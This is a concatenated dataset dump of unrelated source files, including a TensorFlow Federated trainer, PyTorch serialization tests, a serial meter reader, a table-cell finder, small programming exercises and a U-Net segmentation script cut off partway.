import federated_stackoverflow_lr\nfrom utils import utils_impl\n\n_SUPPORTED_TASKS = [\n 'cifar100', 'emnist_cr', 'emnist_ae', 'shakespeare', 'stackoverflow_nwp',\n 'stackoverflow_lr'\n]\n\nwith utils_impl.record_hparam_flags() as optimizer_flags:\n # Defining optimizer flags\n optimizer_utils.define_optimizer_flags('client')\n optimizer_utils.define_optimizer_flags('server')\n optimizer_utils.define_lr_schedule_flags('client')\n optimizer_utils.define_lr_schedule_flags('server')\n\nwith utils_impl.record_hparam_flags() as shared_flags:\n # Federated training hyperparameters\n flags.DEFINE_integer('client_epochs_per_round', 1,\n 'Number of epochs in the client to take per round.')\n flags.DEFINE_integer('client_batch_size', 20, 'Batch size on the clients.')\n flags.DEFINE_integer('clients_per_round', 10,\n 'How many clients to sample per round.')\n flags.DEFINE_integer('client_datasets_random_seed', 1,\n 'Random seed for client sampling.')\n flags.DEFINE_integer('total_rounds', 200, 'Number of total training rounds.')\n\n # Training loop configuration\n flags.DEFINE_string(\n 'experiment_name', None, 'The name of this experiment. Will be append to '\n '--root_output_dir to separate experiment results.')\n flags.DEFINE_string('root_output_dir', '/tmp/fed_opt/',\n 'Root directory for writing experiment output.')\n flags.DEFINE_boolean(\n 'write_metrics_with_bz2', True, 'Whether to use bz2 '\n 'compression when writing output metrics to a csv file.')\n flags.DEFINE_integer(\n 'rounds_per_eval', 1,\n 'How often to evaluate the global model on the validation dataset.')\n flags.DEFINE_integer(\n 'rounds_per_train_eval', 100,\n 'How often to evaluate the global model on the entire training dataset.')\n flags.DEFINE_integer('rounds_per_checkpoint', 50,\n 'How often to checkpoint the global model.')\n flags.DEFINE_integer(\n 'rounds_per_profile', 0,\n '(Experimental) How often to run the experimental TF profiler, if >0.')\n\nwith utils_impl.record_hparam_flags() as task_flags:\n # Task specification\n flags.DEFINE_enum('task', None, _SUPPORTED_TASKS,\n 'Which task to perform federated training on.')\n\nwith utils_impl.record_hparam_flags() as cifar100_flags:\n # CIFAR-100 flags\n flags.DEFINE_integer('cifar100_crop_size', 24, 'The height and width of '\n 'images after preprocessing.')\n\nwith utils_impl.record_hparam_flags() as emnist_cr_flags:\n # EMNIST CR flags\n flags.DEFINE_enum(\n 'emnist_cr_model', 'cnn', ['cnn', '2nn'], 'Which model to '\n 'use. This can be a convolutional model (cnn) or a two '\n 'hidden-layer densely connected network (2nn).')\n\nwith utils_impl.record_hparam_flags() as shakespeare_flags:\n # Shakespeare flags\n flags.DEFINE_integer(\n 'shakespeare_sequence_length', 80,\n 'Length of character sequences to use for the RNN model.')\n\nwith utils_impl.record_hparam_flags() as so_nwp_flags:\n # Stack Overflow NWP flags\n flags.DEFINE_integer('so_nwp_vocab_size', 10000, 'Size of vocab to use.')\n flags.DEFINE_integer('so_nwp_num_oov_buckets', 1,\n 'Number of out of vocabulary buckets.')\n flags.DEFINE_integer('so_nwp_sequence_length', 20,\n 'Max sequence length to use.')\n flags.DEFINE_integer('so_nwp_max_elements_per_user', 1000, 'Max number of '\n 'training sentences to use per user.')\n flags.DEFINE_integer(\n 'so_nwp_num_validation_examples', 10000, 'Number of examples '\n 'to use from test set for per-round validation.')\n flags.DEFINE_integer('so_nwp_embedding_size', 96,\n 'Dimension of word embedding to use.')\n flags.DEFINE_integer('so_nwp_latent_size', 670,\n 'Dimension of latent size to use in recurrent cell')\n flags.DEFINE_integer('so_nwp_num_layers', 1,\n 'Number of stacked recurrent layers to use.')\n flags.DEFINE_boolean(\n 'so_nwp_shared_embedding', False,\n 'Boolean indicating whether to tie input and output embeddings.')\n\nwith utils_impl.record_hparam_flags() as so_lr_flags:\n # Stack Overflow LR flags\n flags.DEFINE_integer('so_lr_vocab_tokens_size', 10000,\n 'Vocab tokens size used.')\n flags.DEFINE_integer('so_lr_vocab_tags_size', 500, 'Vocab tags size used.')\n flags.DEFINE_integer(\n 'so_lr_num_validation_examples', 10000, 'Number of examples '\n 'to use from test set for per-round validation.')\n flags.DEFINE_integer('so_lr_max_elements_per_user', 1000,\n 'Max number of training '\n 'sentences to use per user.')\n\nFLAGS = flags.FLAGS\n\nTASK_FLAGS = collections.OrderedDict(\n cifar100=cifar100_flags,\n emnist_cr=emnist_cr_flags,\n shakespeare=shakespeare_flags,\n stackoverflow_nwp=so_nwp_flags,\n stackoverflow_lr=so_lr_flags)\n\nTASK_FLAG_PREFIXES = collections.OrderedDict(\n cifar100='cifar100',\n emnist_cr='emnist_cr',\n emnist_ae='emnist_ae',\n shakespeare='shakespeare',\n stackoverflow_nwp='so_nwp',\n stackoverflow_lr='so_lr')\n\n\ndef _get_hparam_flags():\n \"\"\"Returns an ordered dictionary of pertinent hyperparameter flags.\"\"\"\n hparam_dict = utils_impl.lookup_flag_values(shared_flags)\n\n # Update with optimizer flags corresponding to the chosen optimizers.\n opt_flag_dict = utils_impl.lookup_flag_values(optimizer_flags)\n opt_flag_dict = optimizer_utils.remove_unused_flags('client', opt_flag_dict)\n opt_flag_dict = optimizer_utils.remove_unused_flags('server', opt_flag_dict)\n hparam_dict.update(opt_flag_dict)\n\n # Update with task-specific flags.\n task_name = FLAGS.task\n if task_name in TASK_FLAGS:\n task_hparam_dict = utils_impl.lookup_flag_values(TASK_FLAGS[task_name])\n hparam_dict.update(task_hparam_dict)\n\n return hparam_dict\n\n\ndef _get_task_args():\n \"\"\"Returns an ordered dictionary of task-specific arguments.\n\n This method returns a dict of (arg_name, arg_value) pairs, where the\n arg_name has had the task name removed as a prefix (if it exists), as well\n as any leading `-` or `_` characters.\n\n Returns:\n An ordered dictionary of (arg_name, arg_value) pairs.\n \"\"\"\n task_name = FLAGS.task\n task_args = collections.OrderedDict()\n\n if task_name in TASK_FLAGS:\n task_flag_list = TASK_FLAGS[task_name]\n task_flag_dict = utils_impl.lookup_flag_values(task_flag_list)\n task_flag_prefix = TASK_FLAG_PREFIXES[task_name]\n for (key, value) in task_flag_dict.items():\n if key.startswith(task_flag_prefix):\n key = key[len(task_flag_prefix):].lstrip('_-')\n task_args[key] = value\n return task_args\n\n\ndef main(argv):\n if len(argv) > 1:\n raise app.UsageError('Expected no command-line arguments, '\n 'got: {}'.format(argv))\n\n client_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('client')\n server_optimizer_fn = optimizer_utils.create_optimizer_fn_from_flags('server')\n\n client_lr_schedule = optimizer_utils.create_lr_schedule_from_flags('client')\n server_lr_schedule = optimizer_utils.create_lr_schedule_from_flags('server')\n\n def iterative_process_builder(\n model_fn: Callable[[], tff.learning.Model],\n client_weight_fn: Optional[Callable[[Any], tf.Tensor]] = None,\n ) -> tff.templates.IterativeProcess:\n \"\"\"Creates an iterative process using a given TFF `model_fn`.\n\n Args:\n model_fn: A no-arg function returning a `tff.learning.Model`.\n client_weight_fn: Optional function that takes the output of\n `model.report_local_outputs` and returns a tensor providing the weight\n in the federated average of model deltas. If not provided, the default\n is the total number of examples processed on device.\n\n Returns:\n A `tff.templates.IterativeProcess`.\n \"\"\"\n\n return fed_avg_schedule.build_fed_avg_process(\n model_fn=model_fn,\n client_optimizer_fn=client_optimizer_fn,\n client_lr=client_lr_schedule,\n server_optimizer_fn=server_optimizer_fn,\n server_lr=server_lr_schedule,\n client_weight_fn=client_weight_fn)\n\n shared_args = utils_impl.lookup_flag_values(shared_flags)\n shared_args['iterative_process_builder'] = iterative_process_builder\n task_args = _get_task_args()\n hparam_dict = _get_hparam_flags()\n\n if FLAGS.task == 'cifar100':\n run_federated_fn = federated_cifar100.run_federated\n elif FLAGS.task == 'emnist_cr':\n run_federated_fn = federated_emnist.run_federated\n elif FLAGS.task == 'emnist_ae':\n run_federated_fn = federated_emnist_ae.run_federated\n elif FLAGS.task == 'shakespeare':\n run_federated_fn = federated_shakespeare.run_federated\n elif FLAGS.task == 'stackoverflow_nwp':\n run_federated_fn = federated_stackoverflow.run_federated\n elif FLAGS.task == 'stackoverflow_lr':\n run_federated_fn = federated_stackoverflow_lr.run_federated\n else:\n raise ValueError(\n '--task flag {} is not supported, must be one of {}.'.format(\n FLAGS.task, _SUPPORTED_TASKS))\n\n run_federated_fn(**shared_args, **task_args, hparam_dict=hparam_dict)\n\n\nif __name__ == '__main__':\n app.run(main)\n","sub_path":"federated/optimization/main/federated_trainer.py","file_name":"federated_trainer.py","file_ext":"py","file_size_in_byte":10933,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"572434442","text":"from unittest import TestCase\n\nimport torch\nimport torch.nn as nn\n\nimport serialization\n\n\nclass PyTorchSerializationTests(TestCase):\n def assert_tensors_equal(self, t1, t2):\n self.assertEqual(t1.shape, t2.shape)\n t1_flat = t1.flatten().tolist()\n t2_flat = t2.flatten().tolist()\n\n for i in range(t1.numel()):\n self.assertAlmostEqual(t1_flat[i], t2_flat[i], 7)\n\n def assert_state_dicts_equal(self, d1, d2):\n self.assertEqual(d1.keys(), d2.keys())\n for k in d1.keys():\n v1 = d1[k]\n v2 = d2[k]\n\n self.assert_tensors_equal(v1, v2)\n\n def test_int_tensor_serialization(self):\n t = torch.tensor([1, 2, 3])\n bytes_value = serialization.to_bytes(t)\n result, bytes_read = serialization.to_tensor_int(bytes_value)\n self.assert_tensors_equal(t, result)\n\n def test_float_tensor_serialization(self):\n t = torch.tensor([[1.0, 2.2, 3.3], [-1.3, 0.5, -10000.5]])\n bytes_value = serialization.to_bytes(t)\n\n result, bytes_read = serialization.to_tensor_float(bytes_value)\n self.assert_tensors_equal(t, result)\n\n def test_linear_layer_serialization(self):\n sd = nn.Linear(3, 5).state_dict()\n\n bytes_data = serialization.to_bytes(sd)\n result, bytes_read = serialization.to_state_dict(bytes_data)\n self.assert_state_dicts_equal(sd, result)\n\n def test_sequential_model_serialization(self):\n sd = nn.Sequential(nn.Linear(3, 5), nn.ReLU(), nn.Linear(2, 2)).state_dict()\n\n bytes_data = serialization.to_bytes(sd)\n result, bytes_read = serialization.to_state_dict(bytes_data)\n self.assert_state_dicts_equal(sd, result)\n","sub_path":"python/tests/serialization/test_pytorch_serialization.py","file_name":"test_pytorch_serialization.py","file_ext":"py","file_size_in_byte":1707,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"621539220","text":"import serial\nimport requests\n\n# ttyS0 doesn't support parity even or odd\n# ttyAMA0 does but by default is configured for bluetooth\n# add \"dtoverlay=pi3-miniuart-bt\" in /boot/config.txt --> reboot\n\n# Init le port série\nser = serial.Serial(\n '/dev/ttyAMA0', \n baudrate=1200, \n bytesize=serial.SEVENBITS, \n parity=serial.PARITY_EVEN, \n stopbits=serial.STOPBITS_ONE, \n timeout=1, \n rtscts=1)\n\ntab = {}\n\n# Lis une trame\ns = ser.readline().decode('utf-8')\nwhile s.startswith('ADCO') == False:\n s = ser.readline().decode('utf-8')\n\n# Sauvegarde les données de la trame dans un tableau\ntab['adco'] = s[:-4].split()[1]\nfor i in range(10):\n s = ser.readline().decode('utf-8')[:-4].lower().split()\n tab[s[0]] = s[1]\n\n#print(tab)\n\n# Stop la connexion série\nser.close()\n\n# Requête POST vers le serveur\n# r = requests.post('http://163.172.146.108/api/', json=tab)\n","sub_path":"script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":884,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"467146753","text":"#Leitura do gabarito\ngabarito = []\nprint(\"----Gabarito----\")\nfor i in range(13):\n\tn = int(input(\"Informe o jogo {}: \".format(i+1)))\n\tgabarito.append(n)\n\n#Leitura do aposta\naposta = []\nprint(\"\\n----Aposta----\")\nfor i in range(13):\n\tn = int(input(\"Informe o jogo {}: \".format(i+1)))\n\taposta.append(n)\n\n#Calcula a qtd de acertos\nqtdAcertos = 0\nfor i in range(13):\n\tif gabarito[i] == aposta[i]:\n\t\tqtdAcertos += 1 \n\t\nprint(\"\\nNúmero de acertos:\", qtdAcertos)\nif qtdAcertos == 13:\n\tprint(\"GANHADOR, PARABÉNS\")","sub_path":"material/respostas_exercicios/lista8/exe5.py","file_name":"exe5.py","file_ext":"py","file_size_in_byte":505,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"145540031","text":"#\n# @lc app=leetcode id=26 lang=python3\n#\n# [26] Remove Duplicates from Sorted Array\n#\n\n# @lc code=start\n\n# This approach works on the following concept :\n# a. 1st element would always be unique\n# b. hence to identify next unique element start from index= 1\n# c. compare value of every element with next element\n# if comparison is equal- do nothing and move ahead\n# if comparison is unequal - then the value at index position is updated with one value ahead\n# since value at index has been updated, move index forward\n# d. Index is being used to track the unique values and utilizing it to swap and track index till\n# values are unique.\nclass Solution:\n def removeDuplicates(self, nums: List[int]) -> int:\n\n left = 0\n \n if len(nums)==0:\n return 0\n \n if len(nums)==1:\n return 1\n \n for right in range(1,len(nums)):\n \n if nums[left]!= nums[right]:\n left = left + 1\n nums[left] = nums[right]\n \n return left + 1\n\n \n# @lc code=end\n\n","sub_path":"26.remove-duplicates-from-sorted-array_v2.py","file_name":"26.remove-duplicates-from-sorted-array_v2.py","file_ext":"py","file_size_in_byte":1089,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"62414498","text":"# 220919@1311\r\n# Find cells of a table using intersecting points of horizontal and vertical lines from the data of a jason file.\r\nimport json\r\n\r\nv = []\r\nh = []\r\nl = []\r\n\r\nline_segments = [] # Horizontal_Line or h_line\r\ntest_segments = [] # Vertical_Line or v_line\r\ncell_points = []\r\ncell_list = []\r\nV_line_end_pt = []\r\nH_line_end_pt = []\r\n\r\nwith open(\"table.json\") as jfile:\r\n data = json.load(jfile)\r\n\r\n for i in range(len(data['table.png']['regions'])):\r\n d1 = data['table.png']['regions'][i]['shape_attributes']\r\n key = data['table.png']['regions'][i]['region_attributes']['table']\r\n if key == 'v_line':\r\n l.append(d1['width'])\r\n else:\r\n l.append(d1['height'])\r\n max_ex = max(l)\r\n\r\n for i in range(len(data['table.png']['regions'])):\r\n d2 = data['table.png']['regions'][i]['shape_attributes']\r\n # d2 = dict(list(d1.items())[1:])\r\n key = data['table.png']['regions'][i]['region_attributes']['table']\r\n\r\n if key == 'v_line':\r\n a, b, c, d = d2['x'], d2['y'] - max_ex, d2['x'], d2['y'] + d2['height'] + max_ex\r\n v.append([a,b])\r\n v.append([c,d])\r\n else:\r\n a, b, c, d = d2['x'] - max_ex, d2['y'], d2['x'] + d2['width'] + max_ex, d2['y']\r\n h.append([a,b])\r\n h.append([c,d])\r\n\r\nfor i in range(0,len(h),2):\r\n line_segments.append((h[i],h[i+1]))\r\n\r\nfor j in range(0,len(v),2):\r\n test_segments.append((v[j],v[j+1]))\r\n\r\n### Defining Function to find intersecting points\r\n# Thanks to scicomp.stackexchange.com\r\n# https://scicomp.stackexchange.com/questions/8895/vertical-and-horizontal-segments-intersection-line-sweep\r\ndef find_intersection( p0, p1, p2, p3 ) :\r\n\r\n s10_x = p1[0] - p0[0]\r\n s10_y = p1[1] - p0[1]\r\n s32_x = p3[0] - p2[0]\r\n s32_y = p3[1] - p2[1] \r\n\r\n denom = s10_x * s32_y - s32_x * s10_y\r\n\r\n if denom == 0 : return None # collinear\r\n\r\n denom_is_positive = denom > 0\r\n\r\n s02_x = p0[0] - p2[0]\r\n s02_y = p0[1] - p2[1]\r\n\r\n s_numer = s10_x * s02_y - s10_y * s02_x\r\n\r\n if (s_numer < 0) == denom_is_positive : return None # no collision\r\n\r\n t_numer = s32_x * s02_y - s32_y * s02_x\r\n\r\n if (t_numer < 0) == denom_is_positive : return None # no collision\r\n\r\n if (s_numer > denom) == denom_is_positive or (t_numer > denom) == denom_is_positive : return None # no collision\r\n\r\n\r\n # collision detected\r\n\r\n t = t_numer / denom\r\n\r\n intersection_point = [ p0[0] + (t * s10_x), p0[1] + (t * s10_y) ]\r\n return intersection_point\r\n\r\n# Check all lines for intersections\r\nintersections = set()\r\nfor test_segment in test_segments:\r\n for line_segment in line_segments:\r\n p0, p1 = test_segment[0], test_segment[1]\r\n p2, p3 = line_segment[0], line_segment[1]\r\n result = find_intersection(p0, p1, p2, p3)\r\n if result is not None:\r\n intersections.add(tuple(result))\r\n\r\n###Converting float to integer of intersections \r\n# def cast_data(data_list, data_type):\r\n# return list(map(lambda sub: list(map(data_type, sub)), data_list))\r\n\r\n# intersections_int = cast_data(intersections,int)\r\n\r\n### Function for finding end points of V_line and H_line \r\ndef closest_V(lst, k, l):\r\n return lst[ min(range(len(lst)), key = lambda i: abs(int(lst[i][1]) - k) if l == int(lst[i][0]) else 99999)]\r\n\r\ndef closest_H(lst, k, l):\r\n return lst[ min(range(len(lst)), key = lambda i: abs(int(lst[i][0]) - k) if l == int(lst[i][1]) else 99999)]\r\n\r\n### Sorting intersecting points according to V_line and H_line\r\nlx = sorted(intersections)\r\nly = sorted(lx, key = lambda q : q[1]) \r\n\r\n### Finding V_line and H_line ending points\r\nfor z in range(len(test_segments)):\r\n V_line_end_pt.append(closest_V(lx, test_segments[z][1][1], test_segments[z][1][0]))\r\n\r\nfor z in range(len(line_segments)):\r\n H_line_end_pt.append(closest_H(ly, line_segments[z][1][0], line_segments[z][1][1]))\r\n\r\n### Finding Cell_points \r\nNumberOfLastV_LinePoints = 1 + len(list(filter(lambda x : lx[-1][0] in x, lx)))\r\n\r\nfor i in range(len(lx) - NumberOfLastV_LinePoints):\r\n x0 = int(lx[i][0])\r\n if x0 == int(lx[i + 1][0]):\r\n y0 = int(lx[i][1])\r\n y1 = int(lx[i + 1][1])\r\n # if (y1 in H_line_end_pt):\r\n # y1 = int(lx[i + ])\r\n else:#Do when i == 4\r\n i=i+1\r\n continue\r\n \r\n x1 = int(ly[ly.index((x0, y0)) + 1][0])\r\n # if ((x1,y0) in V_line_end_pt):\r\n # x1 = int(ly[ly.index((x1,y0)) + 1][0])\r\n\r\n cell_points = [(x0,y0), (x0,y1), (x1,y0), (x1,y1)]\r\n cell_list.append(cell_points)\r\n\r\nfor element in cell_list:\r\n print(element)","sub_path":"Cell_Cliping_Program_1.py","file_name":"Cell_Cliping_Program_1.py","file_ext":"py","file_size_in_byte":4606,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"412184654","text":"class DFS:\n def __init__(self, N):\n self.N = N\n self.visited = []\n self.depth = [0 for i in range(N)]\n self.edge = [[] for i in range(N)]\n self.graph = [[False for i in range(N)] for j in range(N)]\n\n def dfs2(self, v, p, d):\n self.depth[v] = d\n for e in self.edge[v]:\n if (e[0] == p):\n continue\n self.dfs2(e[0], v, d+e[1])\n\nN = int(input())\ndfs = DFS(N)\nfor i in range(N-1):\n a,b,c = map(int, input().split())\n dfs.edge[a-1].append((b-1,c))\n dfs.edge[b-1].append((a-1,c))\n\nQ,K = map(int,input().split())\ndfs.dfs2(K-1,-1,0)\nfor _ in range(Q):\n x,y = map(int, input().split())\n print(dfs.depth[x-1]+dfs.depth[y-1])\n","sub_path":"ABC/070/D.py","file_name":"D.py","file_ext":"py","file_size_in_byte":720,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"320562536","text":"import pygame\nimport drawSimulation\n\n# general constants\nSCREEN_WIDTH = 1366\nSCREEN_HEIGHT = 768\nFRAME_RATE = 30\n\n\nclass Game():\n def __init__(self, sim):\n self.sim = sim\n\n def loop(self, screen):\n clock = pygame.time.Clock()\n while True:\n # Do game logic\n self.sim.handle()\n # Pygame stuff\n dt = clock.tick(FRAME_RATE)\n # handle input events\n for event in pygame.event.get():\n if event.type == pygame.QUIT:\n return # closing the window, end of the game loop\n screen.fill((0, 0, 0)) # black background\n drawSimulation.draw(screen, self.sim)\n pygame.display.update() \n\n def quit(self):\n pass\n\ndef main(sim):\n pygame.init()\n screen = pygame.display.set_mode((SCREEN_WIDTH, SCREEN_HEIGHT))\n pygame.display.set_caption(\"Genetic Walkers boyy\")\n pygame.mouse.set_visible(True)\n\n game = Game(sim)\n game.loop(screen)\n game.quit()\n\n pygame.quit()\n","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"293266889","text":"#!/usr/bin/python\n# -*- codding: utf-8 -*-\nimport os\nimport sys\nsys.path.append(os.path.dirname(os.path.abspath(os.path.dirname(__file__))))\nfrom common.execute_command import write_two_parameter\n\n# url : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/disassociate-attribute-group.html\nif __name__ == '__main__':\n \"\"\"\n\tassociate-attribute-group : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/associate-attribute-group.html\n\tcreate-attribute-group : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/create-attribute-group.html\n\tdelete-attribute-group : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/delete-attribute-group.html\n\tget-attribute-group : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/get-attribute-group.html\n\tlist-attribute-groups : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/list-attribute-groups.html\n\tupdate-attribute-group : https://awscli.amazonaws.com/v2/documentation/api/latest/reference/servicecatalog-appregistry/update-attribute-group.html\n \"\"\"\n\n parameter_display_string = \"\"\"\n # application : The name or ID of the application.\n # attribute-group : The name or ID of the attribute group that holds the attributes to describe the application.\n \"\"\"\n add_option_dict = {}\n add_option_dict[\"parameter_display_string\"] = parameter_display_string\n # ex: add_option_dict[\"no_value_parameter_list\"] = \"--single-parameter\"\n write_two_parameter(\"servicecatalog-appregistry\", \"disassociate-attribute-group\", \"application\", \"attribute-group\", add_option_dict)\n","sub_path":"servicecatalog-appregistry_write_2/attribute-group_disassociate.py","file_name":"attribute-group_disassociate.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"378292770","text":"from django.db import models\n\nfrom api.users.models import Profile\n\n# Create your models here.\nclass FeedbackMessage(models.Model):\n\t'''\n\tRapback feedback model\n\t'''\n\tcreator = models.ForeignKey(\n\t\tProfile\n\t)\n\n\tmessage = models.TextField(\n\t\tmax_length = 2000\n\t)\n\n\twas_read = models.BooleanField(\n\t\tdefault = False\n\t)\n\n\tcreated_at = models.DateTimeField(\n\t\tauto_now_add = True,\n\t\tblank = True,\n\t\tnull = True\n\t)\n\n\tmodified_at = models.DateTimeField(\n\t\tauto_now = True,\n\t\tblank = True,\n\t\tnull = True\n\t)","sub_path":"api/feedback/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"31"} +{"seq_id":"449299536","text":"import sys\nsys.path.append('../')\nfrom helpers.metrics import *\nfrom helpers.augment import *\nfrom helpers.display import *\nfrom helpers.paths import *\nfrom helpers.submission import *\nimport tensorflow as tf\nimport numpy as np\nimport os\nimport argparse\n\nAUTOTUNE = tf.data.experimental.AUTOTUNE\n\nNUM_VALIDATION_IMAGES = 20\n\nIMG_WIDTH = 256\nIMG_HEIGHT = 256\nBATCH_SIZE = 32\nBUFFER_SIZE = 200\nOUTPUT_CHANNELS = 3\n\nTRAIN_LENGTH = 128\nEPOCHS = 500\nSTEPS_PER_EPOCH = TRAIN_LENGTH // BATCH_SIZE\nVALIDATION_STEPS = STEPS_PER_EPOCH\n\n\ndef augment(image, label):\n temp = tf.concat([image, label], axis=-1)\n temp = tf.image.resize(temp, [400, 400])\n temp = tf.image.random_crop(temp, size=[256, 256, 4])\n temp = tf.image.resize(temp, [IMG_WIDTH, IMG_HEIGHT])\n temp = tf.image.random_flip_left_right(temp)\n temp = tf.image.rot90(temp, tf.random.uniform(shape=[], minval=0, maxval=4, dtype=tf.int32))\n image, label = tf.split(temp, num_or_size_splits=[3, 1], axis=-1)\n image = tf.image.random_hue(image, 0.08)\n image = tf.image.random_saturation(image, 0.6, 1.4)\n image = tf.image.random_brightness(image, 0.05)\n image = tf.image.random_contrast(image, 0.7, 1.3)\n\n return image, label\n\n\ndef augment_test_time_1(image):\n image = tf.image.rot90(image, 1)\n return image\ndef augment_test_time_2(image):\n image = tf.image.rot90(image, 2)\n return image\ndef augment_test_time_3(image):\n image = tf.image.rot90(image, 3)\n return image\ndef augment_test_time_4(image):\n image = tf.image.flip_left_right(image)\n return image\ndef augment_test_time_5(image):\n image = tf.image.flip_left_right(image)\n image = tf.image.rot90(image, 1)\n return image\ndef augment_test_time_6(image):\n image = tf.image.flip_left_right(image)\n image = tf.image.rot90(image, 2)\n return image\ndef augment_test_time_7(image):\n image = tf.image.flip_left_right(image)\n image = tf.image.rot90(image, 3)\n return image\n \ndef resize_validation(image, label):\n return tf.image.resize(image, [IMG_WIDTH, IMG_HEIGHT]), tf.image.resize(label, [IMG_WIDTH, IMG_HEIGHT])\n\ndef resize_test(image):\n return tf.image.resize(image, [IMG_WIDTH, IMG_HEIGHT])\n \ndef decode_img(img):\n # convert the compressed string to a 3D uint8 tensor\n img = tf.image.decode_png(img, channels=3)\n # Use `convert_image_dtype` to convert to floats in the [0,1] range.\n img = tf.image.convert_image_dtype(img, tf.float32)\n # resize the image to the desired size.\n\n #return tf.image.resize(img, [IMG_WIDTH, IMG_HEIGHT])\n return img\n\ndef decode_mask(mask):\n # convert the compressed string to a 3D uint8 tensor\n mask = tf.image.decode_png(mask, channels=1)\n # Use `convert_image_dtype` to convert to floats in the [0,1] range.\n mask = tf.image.convert_image_dtype(mask, tf.float32)\n\n #return tf.image.resize(mask, [IMG_WIDTH, IMG_HEIGHT])\n return mask\n\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\"-e\", \"--epochs\", help=\"Number of epochs we want\", type=int)\nargs = parser.parse_args()\nif args.epochs:\n EPOCHS = args.epochs\n\ntraining_images_path = '../training/images_rotated/'\ntest_images_path = '../testing/images/'\nlist_ds = tf.data.Dataset.list_files(training_images_path + '*')\ntest_list_ds = tf.data.Dataset.list_files(test_images_path + '*', shuffle=False)\ntrain = list_ds.skip(NUM_VALIDATION_IMAGES).map(lambda x: process_path(x, \"images_rotated\", \"groundtruth_rotated\"), num_parallel_calls=AUTOTUNE)\ntrain_dataset = train.shuffle(BUFFER_SIZE).map(augment, num_parallel_calls=AUTOTUNE).batch(BATCH_SIZE).repeat()\n# train_dataset = train_dataset.prefetch(buffer_size=tf.data.experimental.AUTOTUNE)\nvalidation_dataset = list_ds.take(NUM_VALIDATION_IMAGES).map(lambda x: process_path(x, \"images_rotated\", \"groundtruth_rotated\"), num_parallel_calls=AUTOTUNE).map(resize_validation).map(augment_validation, num_parallel_calls=AUTOTUNE).batch(BATCH_SIZE).repeat()\n#test_dataset = test_list_ds.map(test_process_path).map(resize_test).batch(1)\n\nfor image, mask in train.take(1):\n sample_image, sample_mask = image, mask\n\n# Create FCN model\nfrom tensorflow.keras import layers\n \ninputs = tf.keras.layers.Input((IMG_WIDTH, IMG_HEIGHT, 3))\n\nconv1 = tf.keras.layers.Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (inputs)\nconv1 = tf.keras.layers.BatchNormalization() (conv1)\nconv1 = tf.keras.layers.Dropout(0.1) (conv1)\nconv1 = tf.keras.layers.Conv2D(16, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv1)\nconv1 = tf.keras.layers.BatchNormalization() (conv1)\npooling1 = tf.keras.layers.MaxPooling2D((2, 2)) (conv1)\n\nconv2 = tf.keras.layers.Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (pooling1)\nconv2 = tf.keras.layers.BatchNormalization() (conv2)\nconv2 = tf.keras.layers.Dropout(0.1) (conv2)\nconv2 = tf.keras.layers.Conv2D(32, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv2)\nconv2 = tf.keras.layers.BatchNormalization() (conv2)\npooling2 = tf.keras.layers.MaxPooling2D((2, 2)) (conv2)\n\nconv3 = tf.keras.layers.Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (pooling2)\nconv3 = tf.keras.layers.BatchNormalization() (conv3)\nconv3 = tf.keras.layers.Dropout(0.2) (conv3)\nconv3 = tf.keras.layers.Conv2D(64, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv3)\nconv3 = tf.keras.layers.BatchNormalization() (conv3)\npooling3 = tf.keras.layers.MaxPooling2D((2, 2)) (conv3)\n\nconv4 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (pooling3)\nconv4 = tf.keras.layers.BatchNormalization() (conv4)\nconv4 = tf.keras.layers.Dropout(0.2) (conv4)\nconv4 = tf.keras.layers.Conv2D(128, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv4)\nconv4 = tf.keras.layers.BatchNormalization() (conv4)\npooling4 = tf.keras.layers.MaxPooling2D(pool_size=(2, 2)) (conv4)\n\n#conv5 = tf.keras.layers.Conv2D(256, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (pooling4)\n#conv5 = tf.keras.layers.BatchNormalization() (conv5)\n#conv5 = tf.keras.layers.Dropout(0.3) (conv5)\n#conv5 = tf.keras.layers.Conv2D(256, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same') (conv5)\n#conv5 = tf.keras.layers.BatchNormalization() (conv5)\nconv5 = tf.keras.layers.Conv2D(256, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same', dilation_rate=1) (pooling4)\nconv5 = tf.keras.layers.Conv2D(192, (3, 3), activation='elu', kernel_initializer='he_normal', padding='same', 